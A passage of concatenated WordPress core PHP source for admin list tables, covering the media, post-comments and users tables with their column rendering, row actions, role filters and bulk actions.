			$posts_columns['parent'] = _x( 'Uploaded to', 'column name' );

			if ( post_type_supports( 'attachment', 'comments' ) ) {
				$posts_columns['comments'] = sprintf(
					'<span class="vers comment-grey-bubble" title="%1$s" aria-hidden="true"></span><span class="screen-reader-text">%2$s</span>',
					esc_attr__( 'Comments' ),
					/* translators: Hidden accessibility text. */
					__( 'Comments' )
				);
			}
		}

		/* translators: Column name. */
		$posts_columns['date'] = _x( 'Date', 'column name' );

		/**
		 * Filters the Media list table columns.
		 *
		 * @since 2.5.0
		 *
		 * @param string[] $posts_columns An array of columns displayed in the Media list table.
		 * @param bool     $detached      Whether the list table contains media not attached
		 *                                to any posts. Default true.
		 */
		return apply_filters( 'manage_media_columns', $posts_columns, $this->detached );
	}

	/**
	 * @return array
	 */
	protected function get_sortable_columns() {
		return array(
			'title'    => array( 'title', false, _x( 'File', 'column name' ), __( 'Table ordered by File Name.' ) ),
			'author'   => array( 'author', false, __( 'Author' ), __( 'Table ordered by Author.' ) ),
			'parent'   => array( 'parent', false, _x( 'Uploaded to', 'column name' ), __( 'Table ordered by Uploaded To.' ) ),
			'comments' => array( 'comment_count', __( 'Comments' ), false, __( 'Table ordered by Comments.' ) ),
			'date'     => array( 'date', true, __( 'Date' ), __( 'Table ordered by Date.' ), 'desc' ),
		);
	}

	/**
	 * Handles the checkbox column output.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Post $item The current WP_Post object.
	 */
	public function column_cb( $item ) {
		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		if ( current_user_can( 'edit_post', $post->ID ) ) {
			?>
			<input type="checkbox" name="media[]" id="cb-select-<?php echo $post->ID; ?>" value="<?php echo $post->ID; ?>" />
			<label for="cb-select-<?php echo $post->ID; ?>">
				<span class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. %s: Attachment title. */
				printf( __( 'Select %s' ), _draft_or_post_title() );
				?>
				</span>
			</label>
			<?php
		}
	}

	/**
	 * Handles the title column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_title( $post ) {
		list( $mime ) = explode( '/', $post->post_mime_type );

		$attachment_id = $post->ID;

		if ( has_post_thumbnail( $post ) ) {
			$thumbnail_id = get_post_thumbnail_id( $post );

			if ( ! empty( $thumbnail_id ) ) {
				$attachment_id = $thumbnail_id;
			}
		}

		$title      = _draft_or_post_title();
		$thumb      = wp_get_attachment_image( $attachment_id, array( 60, 60 ), true, array( 'alt' => '' ) );
		$link_start = '';
		$link_end   = '';

		if ( current_user_can( 'edit_post', $post->ID ) && ! $this->is_trash ) {
			$link_start = sprintf(
				'<a href="%s" aria-label="%s">',
				get_edit_post_link( $post->ID ),
				/* translators: %s: Attachment title. */
				esc_attr( sprintf( __( '&#8220;%s&#8221; (Edit)' ), $title ) )
			);
			$link_end = '</a>';
		}

		$class = $thumb ? ' class="has-media-icon"' : '';
		?>
		<strong<?php echo $class; ?>>
			<?php
			echo $link_start;

			if ( $thumb ) :
				?>
				<span class="media-icon <?php echo sanitize_html_class( $mime . '-icon' ); ?>"><?php echo $thumb; ?></span>
				<?php
			endif;

			echo $title . $link_end;

			_media_states( $post );
			?>
		</strong>
		<p class="filename">
			<span class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'File name:' );
				?>
			</span>
			<?php
			$file = get_attached_file( $post->ID );
			echo esc_html( wp_basename( $file ) );
			?>
		</p>
		<?php
	}

	/**
	 * Handles the author column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_author( $post ) {
		printf(
			'<a href="%s">%s</a>',
			esc_url( add_query_arg( array( 'author' => get_the_author_meta( 'ID' ) ), 'upload.php' ) ),
			get_the_author()
		);
	}

	/**
	 * Handles the description column output.
	 *
	 * @since 4.3.0
	 * @deprecated 6.2.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_desc( $post ) {
		_deprecated_function( __METHOD__, '6.2.0' );

		echo has_excerpt() ? $post->post_excerpt : '';
	}

	/**
	 * Handles the date column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_date( $post ) {
		if ( '0000-00-00 00:00:00' === $post->post_date ) {
			$h_time = __( 'Unpublished' );
		} else {
			$time      = get_post_timestamp( $post );
			$time_diff = time() - $time;

			if ( $time && $time_diff > 0 && $time_diff < DAY_IN_SECONDS ) {
				/* translators: %s: Human-readable time difference. */
				$h_time = sprintf( __( '%s ago' ), human_time_diff( $time ) );
			} else {
				$h_time = get_the_time( __( 'Y/m/d' ), $post );
			}
		}

		/**
		 * Filters the published time of an attachment displayed in the Media list table.
		 *
		 * @since 6.0.0
		 *
		 * @param string  $h_time      The published time.
		 * @param WP_Post $post        Attachment object.
		 * @param string  $column_name The column name.
		 */
		echo apply_filters( 'media_date_column_time', $h_time, $post, 'date' );
	}

	/**
	 * Handles the parent column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_parent( $post ) {
		$user_can_edit = current_user_can( 'edit_post', $post->ID );

		if ( $post->post_parent > 0 ) {
			$parent = get_post( $post->post_parent );
		} else {
			$parent = false;
		}

		if ( $parent ) {
			$title       = _draft_or_post_title( $post->post_parent );
			$parent_type = get_post_type_object( $parent->post_type );

			if ( $parent_type && $parent_type->show_ui && current_user_can( 'edit_post', $post->post_parent ) ) {
				printf( '<strong><a href="%s">%s</a></strong>', get_edit_post_link( $post->post_parent ), $title );
			} elseif ( $parent_type && current_user_can( 'read_post', $post->post_parent ) ) {
				printf( '<strong>%s</strong>', $title );
			} else {
				_e( '(Private post)' );
			}

			if ( $user_can_edit ) :
				$detach_url = add_query_arg(
					array(
						'parent_post_id' => $post->post_parent,
						'media[]'        => $post->ID,
						'_wpnonce'       => wp_create_nonce( 'bulk-' . $this->_args['plural'] ),
					),
					'upload.php'
				);
				printf(
					'<br /><a href="%s" class="hide-if-no-js detach-from-parent" aria-label="%s">%s</a>',
					$detach_url,
					/* translators: %s: Title of the post the attachment is attached to. */
					esc_attr( sprintf( __( 'Detach from &#8220;%s&#8221;' ), $title ) ),
					__( 'Detach' )
				);
			endif;
		} else {
			_e( '(Unattached)' );
			?>
			<?php
			if ( $user_can_edit ) {
				$title = _draft_or_post_title( $post->post_parent );
				printf(
					'<br /><a href="#the-list" onclick="findPosts.open( \'media[]\', \'%s\' ); return false;" class="hide-if-no-js aria-button-if-js" aria-label="%s">%s</a>',
					$post->ID,
					/* translators: %s: Attachment title. */
					esc_attr( sprintf( __( 'Attach &#8220;%s&#8221; to existing content' ), $title ) ),
					__( 'Attach' )
				);
			}
		}
	}

	/**
	 * Handles the comments column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Post $post The current WP_Post object.
	 */
	public function column_comments( $post ) {
		echo '<div class="post-com-count-wrapper">';

		if ( isset( $this->comment_pending_count[ $post->ID ] ) ) {
			$pending_comments = $this->comment_pending_count[ $post->ID ];
		} else {
			$pending_comments = get_pending_comments_num( $post->ID );
		}

		$this->comments_bubble( $post->ID, $pending_comments );

		echo '</div>';
	}

	/**
	 * Handles output for the default column.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Post $item        The current WP_Post object.
	 * @param string  $column_name Current column name.
	 */
	public function column_default( $item, $column_name ) {
		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		if ( 'categories' === $column_name ) {
			$taxonomy = 'category';
		} elseif ( 'tags' === $column_name ) {
			$taxonomy = 'post_tag';
		} elseif ( str_starts_with( $column_name, 'taxonomy-' ) ) {
			$taxonomy = substr( $column_name, 9 );
		} else {
			$taxonomy = false;
		}

		if ( $taxonomy ) {
			$terms = get_the_terms( $post->ID, $taxonomy );

			if ( is_array( $terms ) ) {
				$output = array();

				foreach ( $terms as $t ) {
					$posts_in_term_qv             = array();
					$posts_in_term_qv['taxonomy'] = $taxonomy;
					$posts_in_term_qv['term']     = $t->slug;

					$output[] = sprintf(
						'<a href="%s">%s</a>',
						esc_url( add_query_arg( $posts_in_term_qv, 'upload.php' ) ),
						esc_html( sanitize_term_field( 'name', $t->name, $t->term_id, $taxonomy, 'display' ) )
					);
				}

				echo implode( wp_get_list_item_separator(), $output );
			} else {
				echo '<span aria-hidden="true">&#8212;</span><span class="screen-reader-text">' . get_taxonomy( $taxonomy )->labels->no_terms . '</span>';
			}

			return;
		}

		/**
		 * Fires for each custom column in the Media list table.
		 *
		 * Custom columns are registered using the {@see 'manage_media_columns'} filter.
		 *
		 * @since 2.5.0
		 *
		 * @param string $column_name Name of the custom column.
		 * @param int    $post_id     Attachment ID.
		 */
		do_action( 'manage_media_custom_column', $column_name, $post->ID );
	}

	/**
	 * @global WP_Post  $post     Global post object.
	 * @global WP_Query $wp_query WordPress Query object.
	 */
	public function display_rows() {
		global $post, $wp_query;

		$post_ids = wp_list_pluck( $wp_query->posts, 'ID' );
		reset( $wp_query->posts );

		$this->comment_pending_count = get_pending_comments_num( $post_ids );

		add_filter( 'the_title', 'esc_html' );

		while ( have_posts() ) :
			the_post();

			if ( $this->is_trash && 'trash' !== $post->post_status
				|| ! $this->is_trash && 'trash' === $post->post_status
			) {
				continue;
			}

			$post_owner = ( get_current_user_id() === (int) $post->post_author ) ? 'self' : 'other';
			?>
			<tr id="post-<?php echo $post->ID; ?>" class="<?php echo trim( ' author-' . $post_owner . ' status-' . $post->post_status ); ?>">
				<?php $this->single_row_columns( $post ); ?>
			</tr>
			<?php
		endwhile;
	}

	/**
	 * Gets the name of the default primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Name of the default primary column, in this case, 'title'.
	 */
	protected function get_default_primary_column_name() {
		return 'title';
	}

	/**
	 * @param WP_Post $post
	 * @param string  $att_title
	 * @return array
	 */
	private function _get_row_actions( $post, $att_title ) {
		$actions = array();

		if ( ! $this->is_trash && current_user_can( 'edit_post', $post->ID ) ) {
			$actions['edit'] = sprintf(
				'<a href="%s" aria-label="%s">%s</a>',
				esc_url( get_edit_post_link( $post->ID ) ),
				/* translators: %s: Attachment title. */
				esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $att_title ) ),
				__( 'Edit' )
			);
		}

		if ( current_user_can( 'delete_post', $post->ID ) ) {
			if ( $this->is_trash ) {
				$actions['untrash'] = sprintf(
					'<a href="%s" class="submitdelete aria-button-if-js" aria-label="%s">%s</a>',
					esc_url( wp_nonce_url( "post.php?action=untrash&amp;post=$post->ID", 'untrash-post_' . $post->ID ) ),
					/* translators: %s: Attachment title. */
					esc_attr( sprintf( __( 'Restore &#8220;%s&#8221; from the Trash' ), $att_title ) ),
					__( 'Restore' )
				);
			} elseif ( EMPTY_TRASH_DAYS && MEDIA_TRASH ) {
				$actions['trash'] = sprintf(
					'<a href="%s" class="submitdelete aria-button-if-js" aria-label="%s">%s</a>',
					esc_url( wp_nonce_url( "post.php?action=trash&amp;post=$post->ID", 'trash-post_' . $post->ID ) ),
					/* translators: %s: Attachment title. */
					esc_attr( sprintf( __( 'Move &#8220;%s&#8221; to the Trash' ), $att_title ) ),
					_x( 'Trash', 'verb' )
				);
			}

			if ( $this->is_trash || ! EMPTY_TRASH_DAYS || ! MEDIA_TRASH ) {
				$show_confirmation = ( ! $this->is_trash && ! MEDIA_TRASH ) ? " onclick='return showNotice.warn();'" : '';

				$actions['delete'] = sprintf(
					'<a href="%s" class="submitdelete aria-button-if-js"%s aria-label="%s">%s</a>',
					esc_url( wp_nonce_url( "post.php?action=delete&amp;post=$post->ID", 'delete-post_' . $post->ID ) ),
					$show_confirmation,
					/* translators: %s: Attachment title. */
					esc_attr( sprintf( __( 'Delete &#8220;%s&#8221; permanently' ), $att_title ) ),
					__( 'Delete Permanently' )
				);
			}
		}

		$attachment_url = wp_get_attachment_url( $post->ID );

		if ( ! $this->is_trash ) {
			$permalink = get_permalink( $post->ID );

			if ( $permalink ) {
				$actions['view'] = sprintf(
					'<a href="%s" aria-label="%s" rel="bookmark">%s</a>',
					esc_url( $permalink ),
					/* translators: %s: Attachment title. */
					esc_attr( sprintf( __( 'View &#8220;%s&#8221;' ), $att_title ) ),
					__( 'View' )
				);
			}

			if ( $attachment_url ) {
				$actions['copy'] = sprintf(
					'<span class="copy-to-clipboard-container"><button type="button" class="button-link copy-attachment-url media-library" data-clipboard-text="%s" aria-label="%s">%s</button><span class="success hidden" aria-hidden="true">%s</span></span>',
					esc_url( $attachment_url ),
					/* translators: %s: Attachment title. */
					esc_attr( sprintf( __( 'Copy &#8220;%s&#8221; URL to clipboard' ), $att_title ) ),
					__( 'Copy URL' ),
					__( 'Copied!' )
				);
			}
		}

		if ( $attachment_url ) {
			$actions['download'] = sprintf(
				'<a href="%s" aria-label="%s" download>%s</a>',
				esc_url( $attachment_url ),
				/* translators: %s: Attachment title. */
				esc_attr( sprintf( __( 'Download &#8220;%s&#8221;' ), $att_title ) ),
				__( 'Download file' )
			);
		}

		if ( $this->detached && current_user_can( 'edit_post', $post->ID ) ) {
			$actions['attach'] = sprintf(
				'<a href="#the-list" onclick="findPosts.open( \'media[]\', \'%s\' ); return false;" class="hide-if-no-js aria-button-if-js" aria-label="%s">%s</a>',
				$post->ID,
				/* translators: %s: Attachment title. */
				esc_attr( sprintf( __( 'Attach &#8220;%s&#8221; to existing content' ), $att_title ) ),
				__( 'Attach' )
			);
		}

		/**
		 * Filters the action links for each attachment in the Media list table.
		 *
		 * @since 2.8.0
		 *
		 * @param string[] $actions  An array of action links for each attachment.
		 *                           Includes 'Edit', 'Delete Permanently', 'View',
		 *                           'Copy URL' and 'Download file'.
		 * @param WP_Post  $post     WP_Post object for the current attachment.
		 * @param bool     $detached Whether the list table contains media not attached
		 *                           to any posts. Default true.
		 */
		return apply_filters( 'media_row_actions', $actions, $post, $this->detached );
	}

	/**
	 * Generates and displays row action links.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Post $item        Attachment being acted upon.
	 * @param string  $column_name Current column name.
	 * @param string  $primary     Primary column name.
	 * @return string Row actions output for media attachments, or an empty string
	 *                if the current column is not the primary column.
	 */
	protected function handle_row_actions( $item, $column_name, $primary ) {
		if ( $primary !== $column_name ) {
			return '';
		}

		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		$att_title = _draft_or_post_title();
		$actions   = $this->_get_row_actions( $post, $att_title );

		return $this->row_actions( $actions );
	}
}
<?php
/**
 * List Table API: WP_Post_Comments_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * Core class used to implement displaying post comments in a list table.
 *
 * @since 3.1.0
 *
 * @see WP_Comments_List_Table
 */
class WP_Post_Comments_List_Table extends WP_Comments_List_Table {

	/**
	 * @return array
	 */
	protected function get_column_info() {
		return array(
			array(
				'author'  => __( 'Author' ),
				'comment' => _x( 'Comment', 'column name' ),
			),
			array(),
			array(),
			'comment',
		);
	}

	/**
	 * @return array
	 */
	protected function get_table_classes() {
		$classes   = parent::get_table_classes();
		$classes[] = 'wp-list-table';
		$classes[] = 'comments-box';
		return $classes;
	}

	/**
	 * @param bool $output_empty
	 */
	public function display( $output_empty = false ) {
		$singular = $this->_args['singular'];

		wp_nonce_field( 'fetch-list-' . get_class( $this ), '_ajax_fetch_list_nonce' );
		?>
<table class="<?php echo implode( ' ', $this->get_table_classes() ); ?>" style="display:none;">
	<tbody id="the-comment-list"
		<?php
		if ( $singular ) {
			echo " data-wp-lists='list:$singular'";
		}
		?>
		>
		<?php
		if ( ! $output_empty ) {
			$this->display_rows_or_placeholder();
		}
		?>
	</tbody>
</table>
		<?php
	}

	/**
	 * @param bool $comment_status
	 * @return int
	 */
	public function get_per_page( $comment_status = false ) {
		return 10;
	}
}
<?php
/**
 * List Table API: WP_Users_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying users in a list table.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */
class WP_Users_List_Table extends WP_List_Table {

	/**
	 * Site ID to generate the Users list table for.
	 *
	 * @since 3.1.0
	 * @var int
	 */
	public $site_id;

	/**
	 * Whether or not the current Users list table is for Multisite.
	 *
	 * @since 3.1.0
	 * @var bool
	 */
	public $is_site_users;

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		parent::__construct(
			array(
				'singular' => 'user',
				'plural'   => 'users',
				'screen'   => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);

		$this->is_site_users = 'site-users-network' === $this->screen->id;

		if ( $this->is_site_users ) {
			$this->site_id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;
		}
	}

	/**
	 * Checks the current user's permissions.
	 *
	 * @since 3.1.0
	 *
	 * @return bool
	 */
	public function ajax_user_can() {
		if ( $this->is_site_users ) {
			return current_user_can( 'manage_sites' );
		} else {
			return current_user_can( 'list_users' );
		}
	}

	/**
	 * Prepares the users list for display.
	 *
	 * @since 3.1.0
	 *
	 * @global string $role
	 * @global string $usersearch
	 */
	public function prepare_items() {
		global $role, $usersearch;

		$usersearch = isset( $_REQUEST['s'] ) ? wp_unslash( trim( $_REQUEST['s'] ) ) : '';

		$role = isset( $_REQUEST['role'] ) ? $_REQUEST['role'] : '';

		$per_page       = ( $this->is_site_users ) ? 'site_users_network_per_page' : 'users_per_page';
		$users_per_page = $this->get_items_per_page( $per_page );

		$paged = $this->get_pagenum();

		if ( 'none' === $role ) {
			$args = array(
				'number'  => $users_per_page,
				'offset'  => ( $paged - 1 ) * $users_per_page,
				'include' => wp_get_users_with_no_role( $this->site_id ),
				'search'  => $usersearch,
				'fields'  => 'all_with_meta',
			);
		} else {
			$args = array(
				'number' => $users_per_page,
				'offset' => ( $paged - 1 ) * $users_per_page,
				'role'   => $role,
				'search' => $usersearch,
				'fields' => 'all_with_meta',
			);
		}

		if ( '' !== $args['search'] ) {
			$args['search'] = '*' . $args['search'] . '*';
		}

		if ( $this->is_site_users ) {
			$args['blog_id'] = $this->site_id;
		}

		if ( isset( $_REQUEST['orderby'] ) ) {
			$args['orderby'] = $_REQUEST['orderby'];
		}

		if ( isset( $_REQUEST['order'] ) ) {
			$args['order'] = $_REQUEST['order'];
		}

		/**
		 * Filters the query arguments used to retrieve users for the current users list table.
		 *
		 * @since 4.4.0
		 *
		 * @param array $args Arguments passed to WP_User_Query to retrieve items for the current
		 *                    users list table.
		 */
		$args = apply_filters( 'users_list_table_query_args', $args );

		// Query the user IDs for this page.
		$wp_user_search = new WP_User_Query( $args );

		$this->items = $wp_user_search->get_results();

		$this->set_pagination_args(
			array(
				'total_items' => $wp_user_search->get_total(),
				'per_page'    => $users_per_page,
			)
		);
	}

	/**
	 * Outputs 'no users' message.
	 *
	 * @since 3.1.0
	 */
	public function no_items() {
		_e( 'No users found.' );
	}

	/**
	 * Returns an associative array listing all the views that can be used
	 * with this table.
	 *
	 * Provides a list of roles and user count for that role for easy
	 * filtering of the user table.
	 *
	 * @since 3.1.0
	 *
	 * @global string $role
	 *
	 * @return string[] An array of HTML links keyed by their view.
	 */
	protected function get_views() {
		global $role;

		$wp_roles = wp_roles();

		$count_users = ! wp_is_large_user_count();

		if ( $this->is_site_users ) {
			$url = 'site-users.php?id=' . $this->site_id;
		} else {
			$url = 'users.php';
		}

		$role_links  = array();
		$avail_roles = array();
		$all_text    = __( 'All' );

		if ( $count_users ) {
			if ( $this->is_site_users ) {
				switch_to_blog( $this->site_id );
				$users_of_blog = count_users( 'time', $this->site_id );
				restore_current_blog();
			} else {
				$users_of_blog = count_users();
			}

			$total_users = $users_of_blog['total_users'];
			$avail_roles =& $users_of_blog['avail_roles'];
			unset( $users_of_blog );

			$all_text = sprintf(
				/* translators: %s: Number of users. */
				_nx(
					'All <span class="count">(%s)</span>',
					'All <span class="count">(%s)</span>',
					$total_users,
					'users'
				),
				number_format_i18n( $total_users )
			);
		}

		$role_links['all'] = array(
			'url'     => $url,
			'label'   => $all_text,
			'current' => empty( $role ),
		);

		foreach ( $wp_roles->get_names() as $this_role => $name ) {
			if ( $count_users && ! isset( $avail_roles[ $this_role ] ) ) {
				continue;
			}

			$name = translate_user_role( $name );
			if ( $count_users ) {
				$name = sprintf(
					/* translators: 1: User role name, 2: Number of users. */
					__( '%1$s <span class="count">(%2$s)</span>' ),
					$name,
					number_format_i18n( $avail_roles[ $this_role ] )
				);
			}

			$role_links[ $this_role ] = array(
				'url'     => esc_url( add_query_arg( 'role', $this_role, $url ) ),
				'label'   => $name,
				'current' => $this_role === $role,
			);
		}

		if ( ! empty( $avail_roles['none'] ) ) {

			$name = __( 'No role' );
			$name = sprintf(
				/* translators: 1: User role name, 2: Number of users. */
				__( '%1$s <span class="count">(%2$s)</span>' ),
				$name,
				number_format_i18n( $avail_roles['none'] )
			);

			$role_links['none'] = array(
				'url'     => esc_url( add_query_arg( 'role', 'none', $url ) ),
				'label'   => $name,
				'current' => 'none' === $role,
			);
		}

		return $this->get_views_links( $role_links );
	}

	/**
	 * Retrieves an associative array of bulk actions available on this table.
	 *
	 * @since 3.1.0
	 *
	 * @return array Array of bulk action labels keyed by their action.
	 */
	protected function get_bulk_actions() {
		$actions = array();

		if ( is_multisite() ) {
			if ( current_user_can( 'remove_users' ) ) {
				$actions['remove'] = __( 'Remove' );
			}
		} else {
			if ( current_user_can( 'delete_users' ) ) {
				$actions['delete'] = __( 'Delete' );
			}
		}

		// Add a password reset link to the bulk actions dropdown.
		if ( current_user_can( 'edit_users' ) ) {
			$actions['resetpassword'] = __( 'Send password reset' );
		}

		return $actions;
	}

	/**
	 * Outputs the controls to allow user roles to be changed in bulk.
	 *
	 * @since 3.1.0
	 *
	 * @param string $which Whether this is being invoked above ("top")
	 *                      or below the table ("bottom").
	 */
	protected function extra_tablenav( $which ) {
		$id        = 'bottom' === $which ? 'new_role2' : 'new_role';
		$button_id = 'bottom' === $which ? 'changeit2' : 'changeit';
		?>
	<div class="alignleft actions">
		<?php if ( current_user_can( 'promote_users' ) && $this->has_items() ) : ?>
		<label class="screen-reader-text" for="<?php echo $id; ?>">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Change role to&hellip;' );
			?>
		</label>
		<select name="<?php echo $id; ?>" id="<?php echo $id; ?>">
			<option value=""><?php _e( 'Change role to&hellip;' ); ?></option>
			<?php wp_dropdown_roles(); ?>
			<option value="none"><?php _e( '&mdash; No role for this site &mdash;' ); ?></option>
		</select>
			<?php
			submit_button( __( 'Change' ), '', $button_id, false );
		endif;

		/**
		 * Fires just before the closing div containing the bulk role-change controls
		 * in the Users list table.
		 *
		 * @since 3.5.0
		 * @since 4.6.0 The `$which` parameter was added.
		 *
		 * @param string $which The location of the extra table nav markup: 'top' or 'bottom'.
		 */
		do_action( 'restrict_manage_users', $which );
		?>
		</div>
		<?php
		/**
		 * Fires immediately following the closing "actions" div in the tablenav for the users
		 * list table.
		 *
		 * @since 4.9.0
		 *
		 * @param string $which The location of the extra table nav markup: 'top' or 'bottom'.
		 */
		do_action( 'manage_users_extra_tablenav', $which );
	}

	/**
	 * Captures the bulk action required, and return it.
	 *
	 * Overridden from the base class implementation to capture
	 * the role change drop-down.
	 *
	 * @since 3.1.0
	 *
	 * @return string The bulk action required.
	 */
	public function current_action() {
		if ( isset( $_REQUEST['changeit'] ) ) {
			return 'promote';
		}

		return parent::current_action();
	}

	/**
	 * Gets a list of columns for the list table.
	 *
	 * @since 3.1.0
	 *
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		$columns = array(
			'cb'       => '<input type="checkbox" />',
			'username' => __( 'Username' ),
			'name'     => __( 'Name' ),
			'email'    => __( 'Email' ),
			'role'     => __( 'Role' ),
			'posts'    => _x( 'Posts', 'post type general name' ),
		);

		if ( $this->is_site_users ) {
			unset( $columns['posts'] );
		}

		return $columns;
	}

	/**
	 * Gets a list of sortable columns for the list table.
	 *
	 * @since 3.1.0
	 *
	 * @return array Array of sortable columns.
	 */
	protected function get_sortable_columns() {
		$columns = array(
			'username' => array( 'login', false, __( 'Username' ), __( 'Table ordered by Username.' ), 'asc' ),
			'email'    => array( 'email', false, __( 'E-mail' ), __( 'Table ordered by E-mail.' ) ),
		);

		return $columns;
	}

	/**
	 * Generates the list table rows.
	 *
	 * @since 3.1.0
	 */
	public function display_rows() {
		// Query the post counts for this page.
		if ( ! $this->is_site_users ) {
			$post_counts = count_many_users_posts( array_keys( $this->items ) );
		}

		foreach ( $this->items as $userid => $user_object ) {
			echo "\n\t" . $this->single_row( $user_object, '', '', isset( $post_counts ) ? $post_counts[ $userid ] : 0 );
		}
	}

	/**
	 * Generates HTML for a single row on the users.php admin panel.
	 *
	 * @since 3.1.0
	 * @since 4.2.0 The `$style` parameter was deprecated.
	 * @since 4.4.0 The `$role` parameter was deprecated.
	 *
	 * @param WP_User $user_object The current user object.
	 * @param string  $style       Deprecated. Not used.
	 * @param string  $role        Deprecated. Not used.
	 * @param int     $numposts    Optional. Post count to display for this user. Defaults
	 *                             to zero, as in, a new user has made zero posts.
	 * @return string Output for a single row.
	 */
	public function single_row( $user_object, $style = '', $role = '', $numposts = 0 ) {
		if ( ! ( $user_object instanceof WP_User ) ) {
			$user_object = get_userdata( (int) $user_object );
		}
		$user_object->filter = 'display';
		$email               = $user_object->user_email;

		if ( $this->is_site_users ) {
			$url = "site-users.php?id={$this->site_id}&amp;";
		} else {
			$url = 'users.php?';
		}

		$user_roles = $this->get_role_list( $user_object );

		// Set up the hover actions for this user.
		$actions     = array();
		$checkbox    = '';
		$super_admin = '';

		if ( is_multisite() && current_user_can( 'manage_network_users' ) ) {
			if ( in_array( $user_object->user_login, get_super_admins(), true ) ) {
				$super_admin = ' &mdash; ' . __( 'Super Admin' );
			}
		}

		// Check if the user for this row is editable.
		if ( current_user_can( 'list_users' ) ) {
			// Set up the user editing link.
			$edit_link = esc_url(
				add_query_arg(
					'wp_http_referer',
					urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ),
					get_edit_user_link( $user_object->ID )
				)
			);

			if ( current_user_can( 'edit_user', $user_object->ID ) ) {
				$edit            = "<strong><a href=\"{$edit_link}\">{$user_object->user_login}</a>{$super_admin}</strong><br />";
				$actions['edit'] = '<a href="' . $edit_link . '">' . __( 'Edit' ) . '</a>';
			} else {
				$edit = "<strong>{$user_object->user_login}{$super_admin}</strong><br />";
			}

			if ( ! is_multisite()
				&& get_current_user_id() !== $user_object->ID
				&& current_user_can( 'delete_user', $user_object->ID )
			) {
				$actions['delete'] = "<a class='submitdelete' href='" . wp_nonce_url( "users.php?action=delete&amp;user=$user_object->ID", 'bulk-users' ) . "'>" . __( 'Delete' ) . '</a>';
			}

			if ( is_multisite()
				&& current_user_can( 'remove_user', $user_object->ID )
			) {
				$actions['remove'] = "<a class='submitdelete' href='" . wp_nonce_url( $url . "action=remove&amp;user=$user_object->ID", 'bulk-users' ) . "'>" . __( 'Remove' ) . '</a>';
			}

			// Add a link to the user's author archive, if not empty.
			$author_posts_url = get_author_posts_url( $user_object->ID );
			if ( $author_posts_url ) {
				$actions['view'] = sprintf(
					'<a href="%s" aria-label="%s">%s</a>',
					esc_url( $author_posts_url ),
					/* translators: %s: Author's display name. */
					esc_attr( sprintf( __( 'View posts by %s' ), $user_object->display_name ) ),
					__( 'View' )
				);
			}

			// Add a link to send the user a reset password link by email.
			if ( get_current_user_id() !== $user_object->ID
				&& current_user_can( 'edit_user', $user_object->ID )
				&& true === wp_is_password_reset_allowed_for_user( $user_object )
			) {
				$actions['resetpassword'] = "<a class='resetpassword' href='" . wp_nonce_url( "users.php?action=resetpassword&amp;users=$user_object->ID", 'bulk-users' ) . "'>" . __( 'Send password reset' ) . '</a>';
			}

			/**
			 * Filters the action links displayed under each user in the Users list table.
			 *
			 * @since 2.8.0
			 *
			 * @param string[] $actions     An array of action links to be displayed.
			 *                              Default 'Edit', 'Delete' for single site, and
			 *                              'Edit', 'Remove' for Multisite.
			 * @param WP_User  $user_object WP_User object for the currently listed user.
			 */
			$actions = apply_filters( 'user_row_actions', $actions, $user_object );

			// Role classes.
			$role_classes = esc_attr( implode( ' ', array_keys( $user_roles ) ) );

			// Set up the checkbox (because the user is editable, otherwise it's empty).
			$checkbox = sprintf(
				'<input type="checkbox" name="users[]" id="user_%1$s" class="%2$s" value="%1$s" />' .
				'<label for="user_%1$s"><span class="screen-reader-text">%3$s</span></label>',
				$user_object->ID,
				$role_classes,
				/* translators: Hidden accessibility text. %s: User login. */
				sprintf( __( 'Select %s' ), $user_object->user_login )
			);

		} else {
			$edit = "<strong>{$user_object->user_login}{$super_admin}</strong>";
		}

		$avatar = get_avatar( $user_object->ID, 32 );

		// Comma-separated list of user roles.
		$roles_list = implode( ', ', $user_roles );

		$row = "<tr id='user-$user_object->ID'>";

		list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info();

		foreach ( $columns as $column_name => $column_display_name ) {
			$classes = "$column_name column-$column_name";
			if ( $primary === $column_name ) {
				$classes .= ' has-row-actions column-primary';
			}
			if ( 'posts' === $column_name ) {
				$classes .= ' num'; // Special case for that column.
			}

			if ( in_array( $column_name, $hidden, true ) ) {
				$classes .= ' hidden';
			}

			$data = 'data-colname="' . esc_attr( wp_strip_all_tags( $column_display_name ) ) . '"';

			$attributes = "class='$classes' $data";

			if ( 'cb' === $column_name ) {
				$row .= "<th scope='row' class='check-column'>$checkbox</th>";
